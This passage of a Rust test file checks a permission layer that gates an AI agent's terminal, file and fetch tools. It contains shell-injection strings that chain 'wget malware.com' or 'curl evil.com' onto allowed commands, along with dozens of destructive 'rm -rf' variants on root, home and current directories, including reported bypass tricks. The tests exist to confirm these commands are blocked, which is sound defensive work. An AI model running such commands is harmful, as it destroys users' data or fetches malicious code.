1055 tools,
1056 };
1057 // Invalid patterns block the tool regardless of other settings
1058 assert!(matches!(
1059 ToolPermissionDecision::from_input(
1060 TerminalTool::NAME,
1061 &["echo hi".to_string()],
1062 &p,
1063 ShellKind::Posix
1064 ),
1065 ToolPermissionDecision::Deny(_)
1066 ));
1067 }
1068
1069 #[test]
1070 fn shell_injection_via_double_ampersand_not_allowed() {
1071 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1072 }
1073
1074 #[test]
1075 fn shell_injection_via_semicolon_not_allowed() {
1076 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1077 }
1078
1079 #[test]
1080 fn shell_injection_via_pipe_not_allowed() {
1081 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1082 }
1083
1084 #[test]
1085 fn shell_injection_via_backticks_not_allowed() {
1086 t("echo `wget malware.com`")
1087 .allow(&[pattern("echo")])
1088 .is_confirm();
1089 }
1090
1091 #[test]
1092 fn shell_injection_via_dollar_parens_not_allowed() {
1093 t("echo $(wget malware.com)")
1094 .allow(&[pattern("echo")])
1095 .is_confirm();
1096 }
1097
1098 #[test]
1099 fn shell_injection_via_or_operator_not_allowed() {
1100 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1101 }
1102
1103 #[test]
1104 fn shell_injection_via_background_operator_not_allowed() {
1105 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1106 }
1107
1108 #[test]
1109 fn shell_injection_via_newline_not_allowed() {
1110 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1111 }
1112
1113 #[test]
1114 fn shell_injection_via_process_substitution_input_not_allowed() {
1115 t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
1116 }
1117
1118 #[test]
1119 fn shell_injection_via_process_substitution_output_not_allowed() {
1120 t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
1121 }
1122
1123 #[test]
1124 fn shell_injection_without_spaces_not_allowed() {
1125 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1126 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1127 }
1128
1129 #[test]
1130 fn shell_injection_multiple_chained_operators_not_allowed() {
1131 t("ls && echo hello && wget malware.com")
1132 .allow(&["^ls"])
1133 .is_confirm();
1134 }
1135
1136 #[test]
1137 fn shell_injection_mixed_operators_not_allowed() {
1138 t("ls; echo hello && wget malware.com")
1139 .allow(&["^ls"])
1140 .is_confirm();
1141 }
1142
1143 #[test]
1144 fn shell_injection_pipe_stderr_not_allowed() {
1145 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1146 }
1147
1148 #[test]
1149 fn allow_requires_all_commands_to_match() {
1150 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1151 }
1152
1153 #[test]
1154 fn deny_triggers_on_any_matching_command() {
1155 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1156 }
1157
1158 #[test]
1159 fn deny_catches_injected_command() {
1160 t("ls && rm -rf ./temp")
1161 .allow(&["^ls"])
1162 .deny(&["^rm"])
1163 .is_deny();
1164 }
1165
1166 #[test]
1167 fn confirm_triggers_on_any_matching_command() {
1168 t("ls && sudo reboot")
1169 .allow(&["^ls"])
1170 .confirm(&["^sudo"])
1171 .is_confirm();
1172 }
1173
1174 #[test]
1175 fn always_allow_button_works_end_to_end() {
1176 // This test verifies that the "Always Allow" button behavior works correctly:
1177 // 1. User runs a command like "cargo build"
1178 // 2. They click "Always Allow for `cargo` commands"
1179 // 3. The pattern extracted from that command should match future cargo commands
1180 let original_command = "cargo build --release";
1181 let extracted_pattern = pattern(original_command);
1182
1183 // The extracted pattern should allow the original command
1184 t(original_command).allow(&[extracted_pattern]).is_allow();
1185
1186 // It should also allow other commands with the same base command
1187 t("cargo test").allow(&[extracted_pattern]).is_allow();
1188 t("cargo fmt").allow(&[extracted_pattern]).is_allow();
1189
1190 // But not commands with different base commands
1191 t("npm install").allow(&[extracted_pattern]).is_confirm();
1192
1193 // And it should work with subcommand extraction (chained commands)
1194 t("cargo build && cargo test")
1195 .allow(&[extracted_pattern])
1196 .is_allow();
1197
1198 // But reject if any subcommand doesn't match
1199 t("cargo build && npm install")
1200 .allow(&[extracted_pattern])
1201 .is_confirm();
1202 }
1203
1204 #[test]
1205 fn nested_command_substitution_all_checked() {
1206 t("echo $(cat $(whoami).txt)")
1207 .allow(&["^echo", "^cat", "^whoami"])
1208 .is_allow();
1209 }
1210
1211 #[test]
1212 fn parse_failure_falls_back_to_confirm() {
1213 t("ls &&").allow(&["^ls$"]).is_confirm();
1214 }
1215
1216 #[test]
1217 fn mcp_tool_default_modes() {
1218 t("")
1219 .tool("mcp:fs:read")
1220 .mode(ToolPermissionMode::Allow)
1221 .is_allow();
1222 t("")
1223 .tool("mcp:bad:del")
1224 .mode(ToolPermissionMode::Deny)
1225 .is_deny();
1226 t("")
1227 .tool("mcp:gh:issue")
1228 .mode(ToolPermissionMode::Confirm)
1229 .is_confirm();
1230 t("")
1231 .tool("mcp:gh:issue")
1232 .mode(ToolPermissionMode::Confirm)
1233 .global_default(ToolPermissionMode::Allow)
1234 .is_confirm();
1235 }
1236
1237 #[test]
1238 fn mcp_doesnt_collide_with_builtin() {
1239 let mut tools = collections::HashMap::default();
1240 tools.insert(
1241 Arc::from(TerminalTool::NAME),
1242 ToolRules {
1243 default: Some(ToolPermissionMode::Deny),
1244 always_allow: vec![],
1245 always_deny: vec![],
1246 always_confirm: vec![],
1247 invalid_patterns: vec![],
1248 },
1249 );
1250 tools.insert(
1251 Arc::from("mcp:srv:terminal"),
1252 ToolRules {
1253 default: Some(ToolPermissionMode::Allow),
1254 always_allow: vec![],
1255 always_deny: vec![],
1256 always_confirm: vec![],
1257 invalid_patterns: vec![],
1258 },
1259 );
1260 let p = ToolPermissions {
1261 default: ToolPermissionMode::Confirm,
1262 tools,
1263 };
1264 assert!(matches!(
1265 ToolPermissionDecision::from_input(
1266 TerminalTool::NAME,
1267 &["x".to_string()],
1268 &p,
1269 ShellKind::Posix
1270 ),
1271 ToolPermissionDecision::Deny(_)
1272 ));
1273 assert_eq!(
1274 ToolPermissionDecision::from_input(
1275 "mcp:srv:terminal",
1276 &["x".to_string()],
1277 &p,
1278 ShellKind::Posix
1279 ),
1280 ToolPermissionDecision::Allow
1281 );
1282 }
1283
1284 #[test]
1285 fn case_insensitive_by_default() {
1286 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1287 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1288 }
1289
1290 #[test]
1291 fn case_sensitive_allow() {
1292 t("cargo test")
1293 .allow_case_sensitive(&[pattern("cargo")])
1294 .is_allow();
1295 t("CARGO TEST")
1296 .allow_case_sensitive(&[pattern("cargo")])
1297 .is_confirm();
1298 }
1299
1300 #[test]
1301 fn case_sensitive_deny() {
1302 t("rm -rf ./temp")
1303 .deny_case_sensitive(&[pattern("rm")])
1304 .is_deny();
1305 t("RM -RF ./temp")
1306 .deny_case_sensitive(&[pattern("rm")])
1307 .mode(ToolPermissionMode::Allow)
1308 .is_allow();
1309 }
1310
1311 #[test]
1312 fn nushell_allows_with_allow_pattern() {
1313 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1314 }
1315
1316 #[test]
1317 fn nushell_allows_deny_patterns() {
1318 t("rm -rf ./temp")
1319 .deny(&["rm\\s+-rf"])
1320 .shell(ShellKind::Nushell)
1321 .is_deny();
1322 }
1323
1324 #[test]
1325 fn nushell_allows_confirm_patterns() {
1326 t("sudo reboot")
1327 .confirm(&["sudo"])
1328 .shell(ShellKind::Nushell)
1329 .is_confirm();
1330 }
1331
1332 #[test]
1333 fn nushell_no_allow_patterns_uses_default() {
1334 t("ls")
1335 .deny(&["rm"])
1336 .mode(ToolPermissionMode::Allow)
1337 .shell(ShellKind::Nushell)
1338 .is_allow();
1339 }
1340
1341 #[test]
1342 fn elvish_allows_with_allow_pattern() {
1343 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1344 }
1345
1346 #[test]
1347 fn rc_allows_with_allow_pattern() {
1348 t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1349 }
1350
1351 #[test]
1352 fn multiple_invalid_patterns_pluralizes_message() {
1353 let mut tools = collections::HashMap::default();
1354 tools.insert(
1355 Arc::from(TerminalTool::NAME),
1356 ToolRules {
1357 default: Some(ToolPermissionMode::Allow),
1358 always_allow: vec![],
1359 always_deny: vec![],
1360 always_confirm: vec![],
1361 invalid_patterns: vec![
1362 InvalidRegexPattern {
1363 pattern: "[bad1".into(),
1364 rule_type: "always_deny".into(),
1365 error: "err1".into(),
1366 },
1367 InvalidRegexPattern {
1368 pattern: "[bad2".into(),
1369 rule_type: "always_allow".into(),
1370 error: "err2".into(),
1371 },
1372 ],
1373 },
1374 );
1375 let p = ToolPermissions {
1376 default: ToolPermissionMode::Confirm,
1377 tools,
1378 };
1379
1380 let result = ToolPermissionDecision::from_input(
1381 TerminalTool::NAME,
1382 &["echo hi".to_string()],
1383 &p,
1384 ShellKind::Posix,
1385 );
1386 match result {
1387 ToolPermissionDecision::Deny(msg) => {
1388 assert!(
1389 msg.contains("2 regex patterns"),
1390 "Expected '2 regex patterns' in message, got: {}",
1391 msg
1392 );
1393 }
1394 other => panic!("Expected Deny, got {:?}", other),
1395 }
1396 }
1397
1398 // always_confirm patterns on non-terminal tools
1399 #[test]
1400 fn always_confirm_works_for_file_tools() {
1401 t("sensitive.env")
1402 .tool(EditFileTool::NAME)
1403 .confirm(&["sensitive"])
1404 .is_confirm();
1405
1406 t("normal.txt")
1407 .tool(EditFileTool::NAME)
1408 .confirm(&["sensitive"])
1409 .mode(ToolPermissionMode::Allow)
1410 .is_allow();
1411
1412 t("/etc/config")
1413 .tool(DeletePathTool::NAME)
1414 .confirm(&["/etc/"])
1415 .is_confirm();
1416
1417 t("/home/user/safe.txt")
1418 .tool(DeletePathTool::NAME)
1419 .confirm(&["/etc/"])
1420 .mode(ToolPermissionMode::Allow)
1421 .is_allow();
1422
1423 t("https://secret.internal.com/api")
1424 .tool(FetchTool::NAME)
1425 .confirm(&["secret\\.internal"])
1426 .is_confirm();
1427
1428 t("https://public.example.com/api")
1429 .tool(FetchTool::NAME)
1430 .confirm(&["secret\\.internal"])
1431 .mode(ToolPermissionMode::Allow)
1432 .is_allow();
1433
1434 // confirm on non-terminal tools still beats allow
1435 t("sensitive.env")
1436 .tool(EditFileTool::NAME)
1437 .allow(&["sensitive"])
1438 .confirm(&["\\.env$"])
1439 .is_confirm();
1440
1441 // confirm on non-terminal tools is still beaten by deny
1442 t("sensitive.env")
1443 .tool(EditFileTool::NAME)
1444 .confirm(&["sensitive"])
1445 .deny(&["\\.env$"])
1446 .is_deny();
1447
1448 // global default allow does not bypass confirm on non-terminal tools
1449 t("/etc/passwd")
1450 .tool(EditFileTool::NAME)
1451 .confirm(&["/etc/"])
1452 .global_default(ToolPermissionMode::Allow)
1453 .is_confirm();
1454 }
1455
1456 // Hardcoded security rules tests - these rules CANNOT be bypassed
1457
1458 #[test]
1459 fn hardcoded_blocks_rm_rf_root() {
1460 t("rm -rf /").is_deny();
1461 t("rm -fr /").is_deny();
1462 t("rm -RF /").is_deny();
1463 t("rm -FR /").is_deny();
1464 t("rm -r -f /").is_deny();
1465 t("rm -f -r /").is_deny();
1466 t("RM -RF /").is_deny();
1467 t("rm /").is_deny();
1468 // Long flags
1469 t("rm --recursive --force /").is_deny();
1470 t("rm --force --recursive /").is_deny();
1471 // Extra short flags
1472 t("rm -rfv /").is_deny();
1473 t("rm -v -rf /").is_deny();
1474 // Glob wildcards
1475 t("rm -rf /*").is_deny();
1476 t("rm -rf /* ").is_deny();
1477 // End-of-options marker
1478 t("rm -rf -- /").is_deny();
1479 t("rm -- /").is_deny();
1480 // Prefixed with sudo or other commands
1481 t("sudo rm -rf /").is_deny();
1482 t("sudo rm -rf /*").is_deny();
1483 t("sudo rm -rf --no-preserve-root /").is_deny();
1484 }
1485
1486 #[test]
1487 fn hardcoded_blocks_rm_rf_home() {
1488 t("rm -rf ~").is_deny();
1489 t("rm -fr ~").is_deny();
1490 t("rm -rf ~/").is_deny();
1491 t("rm -rf $HOME").is_deny();
1492 t("rm -fr $HOME").is_deny();
1493 t("rm -rf $HOME/").is_deny();
1494 t("rm -rf ${HOME}").is_deny();
1495 t("rm -rf ${HOME}/").is_deny();
1496 t("rm -RF $HOME").is_deny();
1497 t("rm -FR ${HOME}/").is_deny();
1498 t("rm -R -F ${HOME}/").is_deny();
1499 t("RM -RF ~").is_deny();
1500 // Long flags
1501 t("rm --recursive --force ~").is_deny();
1502 t("rm --recursive --force ~/").is_deny();
1503 t("rm --recursive --force $HOME").is_deny();
1504 t("rm --force --recursive ${HOME}/").is_deny();
1505 // Extra short flags
1506 t("rm -rfv ~").is_deny();
1507 t("rm -v -rf ~/").is_deny();
1508 // Glob wildcards
1509 t("rm -rf ~/*").is_deny();
1510 t("rm -rf $HOME/*").is_deny();
1511 t("rm -rf ${HOME}/*").is_deny();
1512 // End-of-options marker
1513 t("rm -rf -- ~").is_deny();
1514 t("rm -rf -- ~/").is_deny();
1515 t("rm -rf -- $HOME").is_deny();
1516 }
1517
1518 #[test]
1519 fn hardcoded_blocks_rm_rf_home_with_traversal() {
1520 // Path traversal after $HOME / ${HOME} should still be blocked
1521 t("rm -rf $HOME/./").is_deny();
1522 t("rm -rf $HOME/foo/..").is_deny();
1523 t("rm -rf ${HOME}/.").is_deny();
1524 t("rm -rf ${HOME}/./").is_deny();
1525 t("rm -rf $HOME/a/b/../..").is_deny();
1526 t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1527 // Subdirectories should NOT be blocked
1528 t("rm -rf $HOME/subdir")
1529 .mode(ToolPermissionMode::Allow)
1530 .is_allow();
1531 t("rm -rf ${HOME}/Documents")
1532 .mode(ToolPermissionMode::Allow)
1533 .is_allow();
1534 }
1535
1536 #[test]
1537 fn hardcoded_blocks_rm_rf_dot() {
1538 t("rm -rf .").is_deny();
1539 t("rm -fr .").is_deny();
1540 t("rm -rf ./").is_deny();
1541 t("rm -rf ..").is_deny();
1542 t("rm -fr ..").is_deny();
1543 t("rm -rf ../").is_deny();
1544 t("rm -RF .").is_deny();
1545 t("rm -FR ../").is_deny();
1546 t("rm -R -F ../").is_deny();
1547 t("RM -RF .").is_deny();
1548 t("RM -RF ..").is_deny();
1549 // Long flags
1550 t("rm --recursive --force .").is_deny();
1551 t("rm --force --recursive ../").is_deny();
1552 // Extra short flags
1553 t("rm -rfv .").is_deny();
1554 t("rm -v -rf ../").is_deny();
1555 // Glob wildcards
1556 t("rm -rf ./*").is_deny();
1557 t("rm -rf ../*").is_deny();
1558 // End-of-options marker
1559 t("rm -rf -- .").is_deny();
1560 t("rm -rf -- ../").is_deny();
1561 }
1562
1563 #[test]
1564 fn hardcoded_cannot_be_bypassed_by_global() {
1565 // Even with global default Allow, hardcoded rules block
1566 t("rm -rf /")
1567 .global_default(ToolPermissionMode::Allow)
1568 .is_deny();
1569 t("rm -rf ~")
1570 .global_default(ToolPermissionMode::Allow)
1571 .is_deny();
1572 t("rm -rf $HOME")
1573 .global_default(ToolPermissionMode::Allow)
1574 .is_deny();
1575 t("rm -rf .")
1576 .global_default(ToolPermissionMode::Allow)
1577 .is_deny();
1578 t("rm -rf ..")
1579 .global_default(ToolPermissionMode::Allow)
1580 .is_deny();
1581 }
1582
1583 #[test]
1584 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1585 // Even with an allow pattern that matches, hardcoded rules block
1586 t("rm -rf /").allow(&[".*"]).is_deny();
1587 t("rm -rf $HOME").allow(&[".*"]).is_deny();
1588 t("rm -rf .").allow(&[".*"]).is_deny();
1589 t("rm -rf ..").allow(&[".*"]).is_deny();
1590 }
1591
1592 #[test]
1593 fn hardcoded_allows_safe_rm() {
1594 // rm -rf on a specific path should NOT be blocked
1595 t("rm -rf ./build")
1596 .mode(ToolPermissionMode::Allow)
1597 .is_allow();
1598 t("rm -rf /tmp/test")
1599 .mode(ToolPermissionMode::Allow)
1600 .is_allow();
1601 t("rm -rf ~/Documents")
1602 .mode(ToolPermissionMode::Allow)
1603 .is_allow();
1604 t("rm -rf $HOME/Documents")
1605 .mode(ToolPermissionMode::Allow)
1606 .is_allow();
1607 t("rm -rf ../some_dir")
1608 .mode(ToolPermissionMode::Allow)
1609 .is_allow();
1610 t("rm -rf .hidden_dir")
1611 .mode(ToolPermissionMode::Allow)
1612 .is_allow();
1613 t("rm -rfv ./build")
1614 .mode(ToolPermissionMode::Allow)
1615 .is_allow();
1616 t("rm --recursive --force ./build")
1617 .mode(ToolPermissionMode::Allow)
1618 .is_allow();
1619 }
1620
1621 #[test]
1622 fn hardcoded_checks_chained_commands() {
1623 // Hardcoded rules should catch dangerous commands in chains
1624 t("ls && rm -rf /").is_deny();
1625 t("echo hello; rm -rf ~").is_deny();
1626 t("cargo build && rm -rf /")
1627 .global_default(ToolPermissionMode::Allow)
1628 .is_deny();
1629 t("echo hello; rm -rf $HOME").is_deny();
1630 t("echo hello; rm -rf .").is_deny();
1631 t("echo hello; rm -rf ..").is_deny();
1632 }
1633
1634 #[test]
1635 fn hardcoded_blocks_rm_with_extra_flags() {
1636 // Extra flags like -v, -i should not bypass the security rules
1637 t("rm -rfv /").is_deny();
1638 t("rm -v -rf /").is_deny();
1639 t("rm -rfi /").is_deny();
1640 t("rm -rfv ~").is_deny();
1641 t("rm -rfv ~/").is_deny();
1642 t("rm -rfv $HOME").is_deny();
1643 t("rm -rfv .").is_deny();
1644 t("rm -rfv ./").is_deny();
1645 t("rm -rfv ..").is_deny();
1646 t("rm -rfv ../").is_deny();
1647 }
1648
1649 #[test]
1650 fn hardcoded_blocks_rm_with_long_flags() {
1651 t("rm --recursive --force /").is_deny();
1652 t("rm --force --recursive /").is_deny();
1653 t("rm --recursive --force ~").is_deny();
1654 t("rm --recursive --force ~/").is_deny();
1655 t("rm --recursive --force $HOME").is_deny();
1656 t("rm --recursive --force .").is_deny();
1657 t("rm --recursive --force ..").is_deny();
1658 }
1659
1660 #[test]
1661 fn hardcoded_blocks_rm_with_glob_star() {
1662 // rm -rf /* is equally catastrophic to rm -rf /
1663 t("rm -rf /*").is_deny();
1664 t("rm -rf ~/*").is_deny();
1665 t("rm -rf $HOME/*").is_deny();
1666 t("rm -rf ${HOME}/*").is_deny();
1667 t("rm -rf ./*").is_deny();
1668 t("rm -rf ../*").is_deny();
1669 }
1670
1671 #[test]
1672 fn hardcoded_extra_flags_allow_safe_rm() {
1673 // Extra flags on specific paths should NOT be blocked
1674 t("rm -rfv ~/somedir")
1675 .mode(ToolPermissionMode::Allow)
1676 .is_allow();
1677 t("rm -rfv /tmp/test")
1678 .mode(ToolPermissionMode::Allow)
1679 .is_allow();
1680 t("rm --recursive --force ./build")
1681 .mode(ToolPermissionMode::Allow)
1682 .is_allow();
1683 }
1684
1685 #[test]
1686 fn hardcoded_does_not_block_words_containing_rm() {
1687 // Words like "storm", "inform" contain "rm" but should not be blocked
1688 t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1689 t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1690 t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1691 }
1692
1693 #[test]
1694 fn hardcoded_blocks_rm_with_trailing_flags() {
1695 // GNU rm accepts flags after operands by default
1696 t("rm / -rf").is_deny();
1697 t("rm / -fr").is_deny();
1698 t("rm / -RF").is_deny();
1699 t("rm / -r -f").is_deny();
1700 t("rm / --recursive --force").is_deny();
1701 t("rm / -rfv").is_deny();
1702 t("rm /* -rf").is_deny();
1703 // Mixed: some flags before path, some after
1704 t("rm -r / -f").is_deny();
1705 t("rm -f / -r").is_deny();
1706 // Home
1707 t("rm ~ -rf").is_deny();
1708 t("rm ~/ -rf").is_deny();
1709 t("rm ~ -r -f").is_deny();
1710 t("rm $HOME -rf").is_deny();
1711 t("rm ${HOME} -rf").is_deny();
1712 // Dot / dotdot
1713 t("rm . -rf").is_deny();
1714 t("rm ./ -rf").is_deny();
1715 t("rm . -r -f").is_deny();
1716 t("rm .. -rf").is_deny();
1717 t("rm ../ -rf").is_deny();
1718 t("rm .. -r -f").is_deny();
1719 // Trailing flags in chained commands
1720 t("ls && rm / -rf").is_deny();
1721 t("echo hello; rm ~ -rf").is_deny();
1722 // Safe paths with trailing flags should NOT be blocked
1723 t("rm ./build -rf")
1724 .mode(ToolPermissionMode::Allow)
1725 .is_allow();
1726 t("rm /tmp/test -rf")
1727 .mode(ToolPermissionMode::Allow)
1728 .is_allow();
1729 t("rm ~/Documents -rf")
1730 .mode(ToolPermissionMode::Allow)
1731 .is_allow();
1732 }
1733
1734 #[test]
1735 fn hardcoded_blocks_rm_with_flag_equals_value() {
1736 // --flag=value syntax should not bypass the rules
1737 t("rm --no-preserve-root=yes -rf /").is_deny();
1738 t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1739 t("rm -rf --no-preserve-root=yes /").is_deny();
1740 t("rm --interactive=never -rf /").is_deny();
1741 t("rm --no-preserve-root=yes -rf ~").is_deny();
1742 t("rm --no-preserve-root=yes -rf .").is_deny();
1743 t("rm --no-preserve-root=yes -rf ..").is_deny();
1744 t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1745 // --flag (without =value) should also not bypass the rules
1746 t("rm -rf --no-preserve-root /").is_deny();
1747 t("rm --no-preserve-root -rf /").is_deny();
1748 t("rm --no-preserve-root --recursive --force /").is_deny();
1749 t("rm -rf --no-preserve-root ~").is_deny();
1750 t("rm -rf --no-preserve-root .").is_deny();
1751 t("rm -rf --no-preserve-root ..").is_deny();
1752 t("rm -rf --no-preserve-root $HOME").is_deny();
1753 // Trailing --flag=value after path
1754 t("rm / --no-preserve-root=yes -rf").is_deny();
1755 t("rm ~ -rf --no-preserve-root=yes").is_deny();
1756 // Trailing --flag (without =value) after path
1757 t("rm / -rf --no-preserve-root").is_deny();
1758 t("rm ~ -rf --no-preserve-root").is_deny();
1759 // Safe paths with --flag=value should NOT be blocked
1760 t("rm --no-preserve-root=yes -rf ./build")
1761 .mode(ToolPermissionMode::Allow)
1762 .is_allow();
1763 t("rm --interactive=never -rf /tmp/test")
1764 .mode(ToolPermissionMode::Allow)
1765 .is_allow();
1766 // Safe paths with --flag (without =value) should NOT be blocked
1767 t("rm --no-preserve-root -rf ./build")
1768 .mode(ToolPermissionMode::Allow)
1769 .is_allow();
1770 }
1771
1772 #[test]
1773 fn hardcoded_blocks_rm_with_path_traversal() {
1774 // Traversal to root via ..
1775 t("rm -rf /etc/../").is_deny();
1776 t("rm -rf /tmp/../../").is_deny();
1777 t("rm -rf /tmp/../..").is_deny();
1778 t("rm -rf /var/log/../../").is_deny();
1779 // Root via /./
1780 t("rm -rf /./").is_deny();
1781 t("rm -rf /.").is_deny();
1782 // Double slash (equivalent to /)
1783 t("rm -rf //").is_deny();
1784 // Home traversal via ~/./
1785 t("rm -rf ~/./").is_deny();
1786 t("rm -rf ~/.").is_deny();
1787 // Dot traversal via indirect paths
1788 t("rm -rf ./foo/..").is_deny();
1789 t("rm -rf ../foo/..").is_deny();
1790 // Traversal in chained commands
1791 t("ls && rm -rf /tmp/../../").is_deny();
1792 t("echo hello; rm -rf /./").is_deny();
1793 // Traversal cannot be bypassed by global or allow patterns
1794 t("rm -rf /tmp/../../")
1795 .global_default(ToolPermissionMode::Allow)
1796 .is_deny();
1797 t("rm -rf /./").allow(&[".*"]).is_deny();
1798 // Safe paths with traversal should still be allowed
1799 t("rm -rf /tmp/../tmp/foo")
1800 .mode(ToolPermissionMode::Allow)
1801 .is_allow();
1802 t("rm -rf ~/Documents/./subdir")
1803 .mode(ToolPermissionMode::Allow)
1804 .is_allow();
1805 }
1806
1807 #[test]
1808 fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
1809 t("rm -rf /tmp /").is_deny();
1810 t("rm -rf /tmp/foo /").is_deny();
1811 t("rm -rf /var/log ~").is_deny();
1812 t("rm -rf /safe $HOME").is_deny();
1813 }
1814
1815 #[test]
1816 fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
1817 t("rm -rf / /tmp").is_deny();
1818 t("rm -rf ~ /var/log").is_deny();
1819 t("rm -rf . /tmp/foo").is_deny();
1820 t("rm -rf .. /safe").is_deny();
1821 }
1822
1823 #[test]
1824 fn hardcoded_allows_rm_multi_path_all_safe() {
1825 t("rm -rf /tmp /home/user")
1826 .mode(ToolPermissionMode::Allow)
1827 .is_allow();
1828 t("rm -rf ./build ./dist")
1829 .mode(ToolPermissionMode::Allow)
1830 .is_allow();
1831 t("rm -rf /var/log/app /tmp/cache")
1832 .mode(ToolPermissionMode::Allow)
1833 .is_allow();
1834 }
1835
1836 #[test]
1837 fn hardcoded_blocks_rm_multi_path_with_traversal() {
1838 t("rm -rf /safe /tmp/../../").is_deny();
1839 t("rm -rf /tmp/../../ /safe").is_deny();
1840 t("rm -rf /safe /var/log/../../").is_deny();
1841 }
1842
1843 #[test]
1844 fn hardcoded_blocks_user_reported_bypass_variants() {
1845 // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
1846 t("rm -rf /etc/../").is_deny();
1847 t("rm -rf /etc/..").is_deny();
1848 // User report: --no-preserve-root (without =value) should not bypass
1849 t("rm -rf --no-preserve-root /").is_deny();
1850 t("rm --no-preserve-root -rf /").is_deny();
1851 // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
1852 t("rm -rf /*").is_deny();
1853 // Chained with sudo
1854 t("sudo rm -rf /").is_deny();
1855 t("sudo rm -rf --no-preserve-root /").is_deny();
1856 // Traversal cannot be bypassed even with global allow or allow patterns
1857 t("rm -rf /etc/../")
1858 .global_default(ToolPermissionMode::Allow)
1859 .is_deny();
1860 t("rm -rf /etc/../").allow(&[".*"]).is_deny();
1861 t("rm -rf --no-preserve-root /")
1862 .global_default(ToolPermissionMode::Allow)
1863 .is_deny();
1864 t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
1865 }
1866
1867 #[test]
1868 fn normalize_path_relative_no_change() {
1869 assert_eq!(normalize_path("foo/bar"), "foo/bar");
1870 }
1871
1872 #[test]
1873 fn normalize_path_relative_with_curdir() {
1874 assert_eq!(normalize_path("foo/./bar"), "foo/bar");
1875 }
1876
1877 #[test]
1878 fn normalize_path_relative_with_parent() {
1879 assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
1880 }
1881
1882 #[test]
1883 fn normalize_path_absolute_preserved() {
1884 assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
1885 }
1886
1887 #[test]
1888 fn normalize_path_absolute_with_traversal() {
1889 assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
1890 }
1891
1892 #[test]
1893 fn normalize_path_root() {
1894 assert_eq!(normalize_path("/"), "/");
1895 }
1896
1897 #[test]
1898 fn normalize_path_parent_beyond_root_clamped() {
1899 assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
1900 }
1901
1902 #[test]
1903 fn normalize_path_curdir_only() {
1904 assert_eq!(normalize_path("."), "");
1905 }
1906
1907 #[test]
1908 fn normalize_path_empty() {
1909 assert_eq!(normalize_path(""), "");
1910 }
1911
1912 #[test]
1913 fn normalize_path_relative_traversal_above_start() {
1914 assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
1915 }
1916
1917 #[test]
1918 fn normalize_path_relative_traversal_with_curdir() {
1919 assert_eq!(normalize_path("../../."), "../..");
1920 }
1921
1922 #[test]
1923 fn normalize_path_relative_partial_traversal_above_start() {
1924 assert_eq!(normalize_path("foo/../../bar"), "../bar");
1925 }
1926
1927 #[test]
1928 fn most_restrictive_deny_vs_allow() {
1929 assert!(matches!(
1930 most_restrictive(
1931 ToolPermissionDecision::Deny("x".into()),
1932 ToolPermissionDecision::Allow
1933 ),
1934 ToolPermissionDecision::Deny(_)
1935 ));
1936 }
1937
1938 #[test]
1939 fn most_restrictive_allow_vs_deny() {
1940 assert!(matches!(
1941 most_restrictive(
1942 ToolPermissionDecision::Allow,
1943 ToolPermissionDecision::Deny("x".into())
1944 ),
1945 ToolPermissionDecision::Deny(_)
1946 ));
1947 }
1948
1949 #[test]
1950 fn most_restrictive_deny_vs_confirm() {
1951 assert!(matches!(
1952 most_restrictive(
1953 ToolPermissionDecision::Deny("x".into()),
1954 ToolPermissionDecision::Confirm
1955 ),
1956 ToolPermissionDecision::Deny(_)
1957 ));
1958 }
1959
1960 #[test]
1961 fn most_restrictive_confirm_vs_deny() {
1962 assert!(matches!(
1963 most_restrictive(
1964 ToolPermissionDecision::Confirm,
1965 ToolPermissionDecision::Deny("x".into())
1966 ),
1967 ToolPermissionDecision::Deny(_)
1968 ));
1969 }
1970
1971 #[test]
1972 fn most_restrictive_deny_vs_deny() {
1973 assert!(matches!(
1974 most_restrictive(
1975 ToolPermissionDecision::Deny("a".into()),
1976 ToolPermissionDecision::Deny("b".into())
1977 ),
1978 ToolPermissionDecision::Deny(_)
1979 ));
1980 }
1981
1982 #[test]
1983 fn most_restrictive_confirm_vs_allow() {
1984 assert_eq!(
1985 most_restrictive(
1986 ToolPermissionDecision::Confirm,
1987 ToolPermissionDecision::Allow
1988 ),
1989 ToolPermissionDecision::Confirm
1990 );
1991 }
1992
1993 #[test]
1994 fn most_restrictive_allow_vs_confirm() {
1995 assert_eq!(
1996 most_restrictive(
1997 ToolPermissionDecision::Allow,
1998 ToolPermissionDecision::Confirm
1999 ),
2000 ToolPermissionDecision::Confirm
2001 );
2002 }
2003
2004 #[test]
2005 fn most_restrictive_allow_vs_allow() {
2006 assert_eq!(
